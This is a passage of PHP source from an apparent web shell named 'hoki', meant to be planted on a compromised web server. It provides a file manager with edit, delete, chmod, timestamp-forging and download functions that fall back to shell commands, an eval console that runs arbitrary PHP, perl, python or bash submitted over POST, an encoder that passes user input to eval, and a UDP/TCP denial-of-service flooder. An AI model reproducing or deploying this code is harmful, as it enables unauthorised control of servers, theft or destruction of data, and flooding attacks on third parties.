'size' => $file_size,
'owner' => $file_owner,
'group' => $file_group
);
if($filename == ".." && !$cmd_dir){
$tmp["path"] = str_replace("\", "/", realpath($file_path));
}
if(!$cmd_dir){
if(@is_file($file_path)){
$arr_mrg = array('type' => 'file');
if(@is_link($file_path)){
$arr_mrg["link"] = readlink($tmp['path']);
}
$files[] = array_merge($tmp, $arr_mrg);
}elseif(@is_link($file_path)){
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
}elseif(@is_dir($file_path)&& ($filename != ".")){
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
}else{
if($dirContent[$i]["type"]=="file"){
$files[] = array_merge($tmp, array('type' => 'file'));
}else{
if($dirContent[$i]["name"] != "."){
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
}
}
}
$GLOBALS['sort'] = $sort;
function hokiCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "hokiCmp");
usort($dirs, "hokiCmp");
if(isset($_COOKIE["hoki_filesman_direction"])&& !empty($_COOKIE["hoki_filesman_direction"])){
if($_COOKIE["hoki_filesman_direction"] == 'desc'){
$files = array_reverse($files);
$dirs = array_reverse($dirs);
}
}
$files = array_merge($dirs, $files);
$l=0;
$cc=0;
foreach($files as $f){
$f['name'] = htmlspecialchars($f['name']);
$newname = mb_strlen($f['name'], 'UTF-8')>60?mb_substr($f['name'], 0, 60, 'utf-8').'...':$f['name'];
$checkbox = 'checkbox_'.$checkbox_rand.$cc;
$raw_name = rawurlencode($f['name']);
$icon = $GLOBALS['DB_NAME']['show_icons']?'<img src="'.findicon($f['name'],$f['type']).'" width="30" height="30">':'';
$style = $GLOBALS['DB_NAME']['show_icons']?'position:relative;display:inline-block;bottom:12px;':'';
echo '<tr class="fmanager-row" id="tr_row_'.$cc.'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'.$raw_name.'" class="chkbx" id="'.$checkbox .'"><label for="'.$checkbox .'"></label></div></td><td id="td_row_'.$cc.'">'.$icon.'<div style="'.$style.'"><a row="'.$cc.'" id="id_'.$cc.'" class="main_name" onclick="'.(($f['type']=='file')?'editor(\''.$raw_name.'\',\'auto\',\'\',\'\',\'\',\''.$f['type'].'\');" href="#action=fileman&path='.$GLOBALS['cwd'].'&file='.$raw_name.'" fname="'.$raw_name.'" ftype="file" path="'.$GLOBALS['cwd'].'" opt_title="'.$f['link'].'" '.(isset($f['link'])?'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"':'').'>'.($GLOBALS['cwd'].$f['name']==$GLOBALS['__file_path']?"<span class='shell_name' style='font-weight:unset;'>".$f['name']."</span>":htmlspecialchars($newname)):'g(\'FilesMan\',\''.$f['path'].'\');" href="#action=fileman&path='.$f['path'].'" fname="'.$raw_name.'" ftype="folder" path="'.$GLOBALS['cwd'].'" opt_title="'.$f['link'].'" '.(isset($f['link'])?'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"':'').'><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td></div><td><span style="font-weight:unset;" class="main_size">'.(($f['type']=='file')?(isset($f['link'])?'[L] ':'').hokiSize($f['size']):$f['type']).'</span></td><td><span style="font-weight:unset;" class="main_modify">'.$f['modify'].'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'.$f['owner'].'/'.$f['group'].'</span></td><td><a id="id_chmode_'.$cc.'" href=javascript:void(0) onclick="editor(\''.$raw_name.'\',\'chmod\',\'\',\'\',\'\',\''.$f['type'].'\')">'.
$f['perms'].'</td><td><a id="id_rename_'.$cc.'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'rename\',\'\',\'\',\'\',\''.$f['type'].'\')">R</a> <a id="id_touch_'.$cc.'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'touch\',\'\',\'\',\'\',\''.$f['type'].'\')">T</a>'.(($f['type']=='file')?' <a id="id_edit_'.$cc.'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'edit\',\'\',\'\',\'\',\''.$f['type'].'\')">E</a> <a id="id_download_'.$cc.'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$raw_name.'\', \'download\')">D</a>':'').'<a id="id_delete_'.$cc.'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '.addslashes(rawurldecode($f['name'])).' # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \''.$raw_name.'\') : \'\';"> X </a></td></tr>';
$l = $l?0:1;
$cc++;
}
echo "<tr id='filemanager_last_tr'><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='".htmlspecialchars(($GLOBALS['glob_chdir_false']?$_POST['c']:$GLOBALS['cwd']))."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select id='tools_selector' name='hoki1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete' selected>Delete</option><option value='zip'>Add 2 Compress (zip)</option><option value='unzip'>Add 2 Uncompress (zip)</option><option value='paste'>Paste / Zip / Unzip </option></select>
<input type='submit' value=' '>
</form></table><div class='pages-holder'><div class='pages-number'>".$page_builder."</div></div></div></div>";
hokifooter();
}
function get_pagination_links($current_page, $total_pages){
$links = "";
if ($total_pages >= 1 && $current_page <= $total_pages) {
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\"><<</a>";
$selected_page = "";
if($current_page == 1){
$selected_page = " active-page-number";
}
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">1</a>";
$i = max(2, $current_page - 5);
if ($i > 2)
$links .= "<a class=\"page-number\">...</a>";
for (; $i < min($current_page + 6, $total_pages); $i++) {
if($i == $current_page){
$selected_page = " active-page-number";
}else{
$selected_page = "";
}
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$i}</a>";
}
if ($i != $total_pages)
$links .= "<a class=\"page-number\">...</a>";
$selected_page = " last-page-number";
if($current_page == $total_pages){
$selected_page .= " active-page-number";
}
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$total_pages}</a>";
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\">>></a>";
}
return $links;
}
function hokiFilesTools(){
hokihead();
echo '<div class="filestools" style="height: 100%;">';
if(isset($_POST['hoki1']))$_POST['hoki1'] = rawurldecode($_POST['hoki1']);
$hoki1_decoded = $_POST['hoki1'];
$chdir_fals = false;
if(!@chdir($_POST['c'])){
$chdir_fals = true;
$_POST['hoki1'] = $_POST["c"]."/".$_POST["hoki1"];
$hoki_canruncmd = _hoki_can_runCommand(true,true);
if($hoki_canruncmd){
$slashed_hoki1 = addslashes($_POST['hoki1']);
$file_info = explode(":", hokiEx('stat -c "%F:%U:%G:%s:%Y:0%a:%A" "'.$slashed_hoki1.'"'));
$perm_color_class = hokiEx("if [[ -w '".$slashed_hoki1."' ]]; then echo main_green_perm; elif [[ -r '".$slashed_hoki1."' ]]; then echo main_white_perm; else echo main_red_perm; fi");
}
}
if($_POST['hoki2'] == 'auto'){
if(is_array(@getimagesize($_POST['hoki1']))){
$_POST['hoki2'] = 'image';
}else{
$_POST['hoki2'] = 'view';
if($chdir_fals){
if($hoki_canruncmd){
$mime = explode(":", hokiEx("file --mime-type '".addslashes($_POST['hoki1'])."'"));
$mimetype = $mime[1];
if(!empty($mimetype)){
if(strstr($mimetype, "image")){
$_POST['hoki2'] = 'image';
}
}
}
}
}
}
if($_POST['hoki2'] == "rename" && !empty($_POST['hoki3']) && @is_writable($_POST['hoki1'])){$rename_cache = $_POST['hoki3'];}
if(@$_POST['hoki2'] == 'mkfile'){
$_POST['hoki1'] = trim($_POST['hoki1']);
if($chdir_fals&&$hoki_canruncmd){
if(_hoki_is_writable($_POST["c"])){
hokiEx("cd '".addslashes($_POST["c"])."';touch '".addslashes($hoki1_decoded)."'");
$_POST['hoki2'] = "edit";
}
}
if(!@file_exists($_POST['hoki1'])){
$fp = @fopen($_POST['hoki1'], 'w');
if($fp){
$_POST['hoki2'] = "edit";
fclose($fp);
}
}else{
$_POST['hoki2'] = "edit";
}
}
if(!_hoki_file_exists(@$_POST['hoki1'])){
echo __pre()."<center><p><div class=\"txtfont\"><font color='red'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory('".$_POST['hoki4']."');</script>";
hokiFooter();
return;
}
if($chdir_fals){
$filesize = $file_info[3];
$uid["name"] = $file_info[1];
$gid["name"] = $file_info[2];
$permcolor = hokiPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true);
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST['hoki1'])):'';
$gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST['hoki1'])):'';
if(!$uid&&!$gid){
$uid['name'] = function_exists("fileowner")?@fileowner($_POST['hoki1']):'';
$gid['name'] = function_exists("filegroup")?@filegroup($_POST['hoki1']):'';
}
$permcolor = hokiPermsColor($_POST['hoki1']);
$filesize = @filesize($_POST['hoki1']);
if(!isset($uid['name'],$gid['name'])||empty($uid['name'])||empty($gid['name'])){
if(_hoki_can_runCommand()){
list($uid['name'],$gid['name']) = explode(":", hokiEx('stat -c "%U:%G" "'.addslashes($_POST["c"]."/".$_POST["hoki1"]).'"'));
}
}
}
if(substr($_POST['hoki1'], 0, 7) == "phar://"){
$hoki_file_directory = $_POST['hoki1'];
}else{
$hoki_file_directory = str_replace("//", "/",($chdir_fals?"":$_POST['c'].'/').$_POST['hoki1']);
}
echo '<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;"><span class="editor_file_info_vars">Name:</span> '.htmlspecialchars(basename($hoki1_decoded)).' <span class="editor_file_info_vars">Size:</span> '.hokiSize($filesize).' <span class="editor_file_info_vars">Permission:</span> '.$permcolor.' <span class="editor_file_info_vars">Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].' <span class="editor_file_info_vars">Directory:</span> '.dirname($hoki_file_directory).'</div>';
if(empty($_POST['hoki2']))$_POST['hoki2'] = 'view';
if(!_hoki_is_dir($_POST['hoki1'])){
$m = array('View', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump');
$ftype = "file";
}else{
$m = array('Chmod', 'Rename', 'Touch');
$ftype = "dir";
}
echo('<div>');
foreach($m as $v)
echo $v == 'Delete' ? '<a href="javascript:void(0);" onclick="var chk=confirm(\'Are You Sure For Delete This File ?\');chk?editor(\''.addslashes(!isset($rename_cache)?$_POST['hoki1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['hoki4'].'\',\''.$ftype.'\'):\'\';"><span class="editor_actions">'.((strtolower($v)==@$_POST['hoki2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a> ' : '<a href="javascript:void(0);" onclick="editor(\''.addslashes(!isset($rename_cache)?$_POST['hoki1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['hoki4'].'\',\''.$ftype.'\')"><span class="editor_actions">'.((strtolower($v)==@$_POST['hoki2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a>';
echo '</div>';
switch($_POST['hoki2']){
case 'view':case 'edit':
@chdir($_POST['c']);
$disabled_btn = "";
if(!@is_writable($_POST['hoki1'])&&!_hoki_is_writable($_POST['hoki1'])){
$disabled_btn = "disabled=disabled";
$disabled_btn_style= 'background: #ff0000;color: #fff;';
}
if(!empty($_POST['hoki3'])){
$_POST['hoki3'] = substr($_POST['hoki3'],1);
$time = @filemtime($_POST['hoki1']);
$fp = @__write_file($_POST['hoki1'],$_POST['hoki3']);
if($chdir_fals&&$hoki_canruncmd){
$rname = $hoki1_decoded;
$randname = $rname.rand(111,9999);
$filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname;
if($fp = @__write_file($filepath ,$_POST['hoki3'])){
hokiEx("mv '".addslashes($filepath)."' '".addslashes($_POST["hoki1"])."';rm -f '".addslashes($filepath)."'");
}
}
if($fp){
echo 'Saved!<br>';
@touch($_POST['hoki1'],$time,$time);
}
}
echo '<div class="editor-view"><div class="view-content editor-ace-controller"><div style="display:inline-block;">'._hoki_load_ace_options("editor").'<button style="border-radius:10px;" class="button ace-controler" onClick="copyToClipboard(this);">Copy</button> <button class="button ace-controler" onclick="hokiAceToFullscreen(this);">Full Screen</button> <button onclick="var ace_val = hoki_ace_editors.editor[this.getAttribute(\'ace_id\')].getValue();editor(\''.addslashes($hoki1_decoded).'\',\'edit\',\'1\'+ace_val,\''.$_POST['c'].'\',\''.$_POST['hoki4'].'\',\''.$ftype.'\');return false;" class="button ace-controler ace-save-btn" style="width: 100px;height: 33px;'.$disabled_btn_style.'" '.$disabled_btn.'>save</button></div><pre class="ml1 view_ml_content">';
echo htmlspecialchars(__read_file($_POST['hoki1']));
echo '</pre></div></div>';
break;
case 'highlight':
@chdir($_POST['c']);
if(@is_readable($_POST['hoki1'])){
echo '<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['hoki1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div></div></div>';
}
break;
case 'delete':
@chdir($_POST['c']);
if(@is_writable($_POST['hoki1'])||$GLOBALS["glob_chdir_false"]){
$deleted = true;
if(!@unlink($_POST['hoki1'])){
$deleted = false;
if($hoki_canruncmd){
if(_hoki_is_writable($_POST['hoki1'])){
hokiEx("rm -f '".addslashes($_POST['hoki1'])."'");
$deleted = true;
}
}
}
if($deleted)echo 'File Deleted...<script>var elem = $("'.$_POST['hoki4'].'").parentNode;elem.parentNode.removeChild(elem);delete editor_files["'.$_POST['hoki4'].'"];</script>';else echo 'Error...';}
break;
case 'chmod':
@chdir($_POST['c']);
if(!empty($_POST['hoki3'])){
$perms = 0;
for($i=strlen($_POST['hoki3'])-1;$i>=0;--$i)
$perms += (int)$_POST['hoki3'][$i]*pow(8, (strlen($_POST['hoki3'])-$i-1));
if(!@chmod($_POST['hoki1'], $perms)){
if($chdir_fals&&$hoki_canruncmd){
hokiEx("cd '".addslashes($_POST["c"])."';chmod ".addslashes($_POST['hoki3'])." '".addslashes($hoki1_decoded)."'");
echo('Success!');
}else{
echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font><br><script>document.mf.hoki3.value="";</script>';}
}else{echo('Success!');}
}
clearstatcache();
HokiNum(8,9,10,7,6,5,4,2,1);
if($chdir_fals){
$file_perm = $file_info[5];
}else{
$file_perm = substr(sprintf('%o', @fileperms($_POST['hoki1'])),-4);
}
echo '<script>hoki3_="";</script><form onsubmit="editor(\''.addslashes($_POST['hoki1']).'\',\''.$_POST['hoki2'].'\',this.chmod.value,\''.$_POST['c'].'\',\''.$_POST['hoki4'].'\',\''.$ftype.'\');return false;"><input type="text" name="chmod" value="'.$file_perm.'"><input type=submit value=" "></form>';
break;
case 'hexdump':
@chdir($_POST['c']);
$c = __read_file($_POST['hoki1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table></div></div>';
break;
case 'rename':
@chdir($_POST['c']);
$hoki1_escape = addslashes($_POST["hoki1"]);
$hoki3_escape = addslashes($_POST["hoki3"]);
if(!empty($_POST['hoki3'])){
$cmd_rename = false;
if($chdir_fals&&$hoki_canruncmd){
if(_hoki_is_writable($_POST['hoki1'])){
$hoki1_escape = addslashes($hoki1_decoded);
hokiEx("cd '".addslashes($_POST['c'])."';mv '".$hoki1_escape."' '".addslashes($_POST['hoki3'])."'");
}else{
$cmd_rename = true;
}
}else{
$hoki1_escape = addslashes($_POST["hoki1"]);
}
if(!@rename($_POST['hoki1'], $_POST['hoki3'])&&$cmd_rename){
echo 'Can\'t rename!<br>';}else{echo('Renamed!<script>try{$("'.$_POST['hoki4'].'").innerHTML = "<div class=\'editor-icon\'>"+loadType(\''.$hoki3_escape.'\',\''.$ftype.'\',\''.$_POST['hoki4'].'\')+"</div><div class=\'editor-file-name\'>'.$hoki3_escape.'</div>";editor_files["'.$_POST['hoki4'].'"].file = "'.$hoki3_escape.'";updateFileEditor("'.$hoki1_escape.'", "'.$hoki3_escape.'");'.($ftype == "dir"?"updateDirsEditor('".$_POST['hoki4']."','".$hoki1_escape."');":"").'}catch(e){console.log(e)}</script>');$hoki1_escape = $hoki3_escape;}
}
echo '<form onsubmit="editor(\''.$hoki1_escape.'\',\''.$_POST['hoki2'].'\',this.name.value,\''.$_POST['c'].'\',\''.$_POST['hoki4'].'\',\''.$ftype.'\');return false;"><input type="text" name="name" value="'.addslashes(htmlspecialchars(isset($_POST['hoki3'])&&$_POST['hoki3']!=''?$_POST['hoki3']:$hoki1_decoded)).'"><input type=submit value=" "></form>';
break;
case 'touch':
@chdir($_POST['c']);
if( !empty($_POST['hoki3']) ) {
$time = strtotime($_POST['hoki3']);
if($time){
$touched = false;
if($chdir_fals&&$hoki_canruncmd){
hokiEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['hoki3']))."' '".addslashes($hoki1_decoded)."'");
$touched = true;
}
if(!@touch($_POST['hoki1'],$time,$time)&&!$touched)
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>hoki3_="";</script><form onsubmit="editor(\''.addslashes($_POST['hoki1']).'\',\''.$_POST['hoki2'].'\',this.touch.value,\''.$_POST['c'].'\',\''.$_POST['hoki4'].'\',\''.$ftype.'\');return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", ($chdir_fals?$file_info[4]:@filemtime($_POST['hoki1']))).'"><input type=submit value=" "></form>';
break;
case 'image':
@chdir($_POST['c']);
echo('<hr>');
$file = $_POST['hoki1'];
$image_info = @getimagesize($file);
if(is_array($image_info)||$chdir_fals){
$width = (int)$image_info[0];
$height = (int)$image_info[1];
if($chdir_fals&&$hoki_canruncmd){
$source = hokiEx("cat '".addslashes($file)."' | base64");
list($width, $height) = explode(":", hokiEx("identify -format '%w:%h' '".addslashes($file)."'"));
$mime = explode(":", hokiEx("file --mime-type '".addslashes($file)."'"));
$image_info['mime'] = $mime[1];
}else{
$source = __ZW5jb2Rlcg(__read_file($file, false));
}
$image_info_h = "Image type = <span>[</span> ".$image_info['mime']." <span>]</span><br>Image Size = <span>[ </span>".$width." x ".$height."<span> ]</span><br>";
if($width > 800){$width = 800;}
echo $content = "<div class='editor-view'><div class='view-content'><center>".$image_info_h."<br><img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:".$image_info['mime'].";base64,".$source."' alt='".$file."'></center></div></div><br>";
}
break;
}
echo '</div>';
hokiFooter();
}
function findicon($file,$type){
$s = 'http://solevisible.com/icons/';
$types = array('json','ppt','pptx','xls','xlsx','msi','config','cgi','pm','c','cpp','cs','java','aspx','asp','db','ttf','eot','woff','woff2','woff','conf','log','apk','cab','bz2','tgz','dmg','izo','jar','7z','iso','rar','bat','sh','hoki','gz','tar','php','php4','php5','phtml','html','xhtml','shtml','htm','zip','png','jpg','jpeg','gif','bmp','ico','txt','js','rb','py','xml','css','sql','htaccess','pl','ini','dll','exe','mp3','mp4','m4a','mov','flv','swf','mkv','avi','wmv','mpg','mpeg','dat','pdf','3gp','doc','docx','docm');
if($type!='file'){
return ($file=='..'?$s.'back.png':$s.'folder.png');
}else{
$ext = explode('.',$file);
$ext = end($ext);
$ext = strtolower($ext);
return (in_array($ext,$types)?$s.$ext.'.png':$s.'notfound.png');
}
}
function hokidlfile(){
if(isset($_POST['c'],$_POST['file'])){
$basename = rawurldecode(basename($_POST['file']));
$_POST['file'] = str_replace("//", "/", $_POST['c'].'/'.$basename);
$hoki_canruncmd = _hoki_can_runCommand(true,true);
if(@is_file($_POST['file']) && @is_readable($_POST['file']) || $hoki_canruncmd){
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=\"".addslashes($basename)."\"");
header("Content-Type: application/octet-stream");
if($GLOBALS["glob_chdir_false"]){
$randname = $basename.rand(111,9999);
$scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);
$filepath = $scriptpath."/".$randname;
if(_hoki_is_writable($scriptpath)){
hokiEx("cp '".addslashes($_POST["file"])."' '".addslashes($filepath)."'");
readfile($filepath);
@unlink($filepath);
}else{
hokiEx("cat '".addslashes($_POST["file"])."'");
}
}else{
readfile($_POST['file']);
}
}else echo('Error...!');}}
function __hoki_set_cookie($key, $value){
$_COOKIE[$key] = $value;
@setcookie($key, $value, time()+(86400 * 7), '/');
}
function hokiphpeval(){
if(isset($_COOKIE["eval_tmpdir"])&&@is_dir($_COOKIE["eval_tmpdir"])){
$tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]);
}else{
$tempdir = dirname(hokiEx("mktemp"));
__hoki_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir));
}
hokihead();
if(isset($_POST['hoki2']) && ($_POST['hoki2'] == 'ini')){
echo '<div class=header>';
ob_start();
$INI=ini_get_all();
print '<table border=0><tr>'
.'<td class="listing"><font class="highlight_txt">Param</td>'
.'<td class="listing"><font class="highlight_txt">Global value</td>'
.'<td class="listing"><font class="highlight_txt">Local Value</td>'
.'<td class="listing"><font class="highlight_txt">Access</td></tr>';
foreach ($INI as $param => $values)
print "
".'<tr>'
.'<td class="listing"><b>'.$param.'</td>'
.'<td class="listing">'.$values['global_value'].' </td>'
.'<td class="listing">'.$values['local_value'].' </td>'
.'<td class="listing">'.$values['access'].' </td></tr>';
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['hoki2']) && ($_POST['hoki2'] == 'info')) {
echo '<div class=header><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['hoki2']) && ($_POST['hoki2'] == 'exten')) {
echo '<div class=header>';
ob_start();
$EXT=get_loaded_extensions();
echo '<table border=0><tr><td class="listing">'.implode('</td></tr>'."
".'<tr><td class="listing">', $EXT).'</td></tr></table>'.count($EXT).' extensions loaded';
echo '</div><br>';
}
$lang_html = "";
foreach(array("php"=>"php ~> [ Windows / Linux ]","perl"=>"perl ~> [ Linux ]","python"=>"python ~> [ Linux ]","bash"=>"bash ~> [ Linux ]") as $key=>$val){$lang_html .= '<option value="'.$key.'" '.($_POST["hoki3"]==$key?"selected":"").'>'.$val.'</option>';}
echo '<div class=header><Center><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form class="php-evals" name="pf" method="post" onsubmit="var ace_value=geEvalAceValue(this);g(\'phpeval\',null,ace_value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">'.$lang_html.'</select>'._hoki_load_ace_options("eval").'<br><br><div class="bigarea" style="position:relative;"><div class="php-evals-ace">'.(!empty($_POST['hoki1'])?htmlspecialchars($_POST['hoki1']):"<?php
echo('hello hoki !');
?>").'</div></div><center><input type="submit" value="" style="margin-top:5px"></center>';
echo '</form><pre id="PhpOutput" style="'.(empty($_POST['hoki1'])?'display:none;':'').'margin-top:5px;" class="ml1">';
if(!empty($_POST['hoki1'])){
if($_POST['hoki3']=="php"){
ob_start();
eval('?>'.$_POST['hoki1']);
$result = htmlspecialchars(ob_get_clean());
}elseif(_hoki_can_runCommand()&&$GLOBALS["sys"]=="unix"){
$lang = $_POST['hoki3'];
$filename = "temp".rand(11111,99999);
$temp = $tempdir."/".$filename ;
__write_file($filename, $_POST['hoki1']);
$result = hokiEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
@unlink($filename);
@unlink($temp);
}
echo '<textarea class="bigarea">'.$result.'</textarea>';
}
echo '</pre></div>';
hokifooter();
}
function hokihash(){
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64_encode ( $string )' => '__ZW5jb2Rlcg($s)',
'Base64_decode ( $string )' => '__ZGVjb2Rlcg($s)',
'strrev ( $string )' => 'strrev($s)',
'bin2hex ( $string )'=> 'bin2hex($s)',
'hex2bin ( $string )' => 'hex2bin($s)',
'md5 ( $string )' => 'md5($s)',
'sha1 ( $string )' => 'sha1($s)',
'hash ( "sha251", $string ) --> sha251' => 'hash("sha256",$s)',
'hash ( "sha384", $string ) --> sha384' => 'hash("sha384",$s)',
'hash ( "sha512", $string ) --> sha512' => 'hash("sha512",$s)',
'crypt ( $string )' => 'crypt($s)',
'crc32 ( $string )' => 'crc32($s)',
'str_rot13 ( $string )' => 'str_rot13($s)',
'urlencode ( $string )' => 'urlencode($s)',
'urldecode ( $string )' => 'urldecode($s)',
'full_urlencode ( $string )' => 'full_urlencode($s)',
'htmlspecialchars ( $string )' => 'htmlspecialchars($s)',
'base64_encode (gzdeflate( $string , 9)) --> Encode' => '__ZW5jb2Rlcg(gzdeflate($s, 9))',
'gzinflate (base64_decode( $string )) --> Decode' => '@gzinflate(__ZGVjb2Rlcg($s))',
'str_rot13 (base64_encode( $string )) --> Encode' => 'str_rot13(__ZW5jb2Rlcg($s))',
'base64_decode (str_rot13( $string )) --> Decode' => '__ZGVjb2Rlcg(str_rot13($s))',
'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode' => 'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))',
'gzinflate (base64_decode(str_rot13( $string ))) --> Decode' => '@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))',
);
hokihead();
echo '<div class=header>';
echo "<form onSubmit='g(\"hash\",null,this.selectTool.value,this.input.value);return false;'><div class='txtfont'>Method:</div> <select name='selectTool' style='width:400px;'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."' ".($_POST['hoki1']==$v?'selected':'').">".$k."</option>";
echo "</select> <input type='submit' value=' '/><br><textarea name='input' style='margin-top:5px' class='bigarea'>".(empty($_POST['hoki1'])?'':htmlspecialchars(@$_POST['hoki2']))."</textarea></form>";
if(!empty($_POST['hoki1'])){
$string = addslashes($_POST['hoki2']);
$string = str_replace('\"','"',$string);
$alg = $_POST['hoki1'];
$code = str_replace('$s',"'".$string."'",$alg);
ob_start();
eval('echo '.$code.';');
$res = ob_get_contents();
ob_end_clean();
if(in_array($alg, $stringTools))echo '<textarea class="bigarea">'.htmlspecialchars($res).'</textarea>';
}
echo "</div>";
hokiFooter();
}
function hokidos(){
hokihead();
echo '<div class=header>';
echo '<center><p><div class="txtfont_header">| DOS |</div></p><form onSubmit="g(\'dos\',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;"><div class="txtfont">Method : <select name="m" style="width:80px;"><option value="udp">UDP</option><option value="tcp">TCP</option></select> Host : <input name="host" type="text" value="localhost" size="25" /> Time : <input name="time" type="text" size="15" /> Port : <input name="port" type="text" size="10" /> <input type="submit" value=" " /></div></form></center><br>';
if(!empty($_POST['hoki1']) && !empty($_POST['hoki2']) && !empty($_POST['hoki3'])){
echo __pre();
$packets=0;
ignore_user_abort(true);
$exec_time=(int)$_POST['hoki2'];
$time=time();
$max_time=$exec_time+$time;
$host=$_POST['hoki1'];
$port=(int)$_POST['hoki3'];
$method=$_POST['hoki4'];
$out = str_repeat('X',65000);
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = @fsockopen($method.'://'.$host, $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<center>$packets (" . @round(($packets*65)/1024, 2) . " MB) packets averaging ". @round($packets/$exec_time, 2) . " packets per second</center>";
echo "</pre>";
}
echo '</div>';
hokifooter();
}
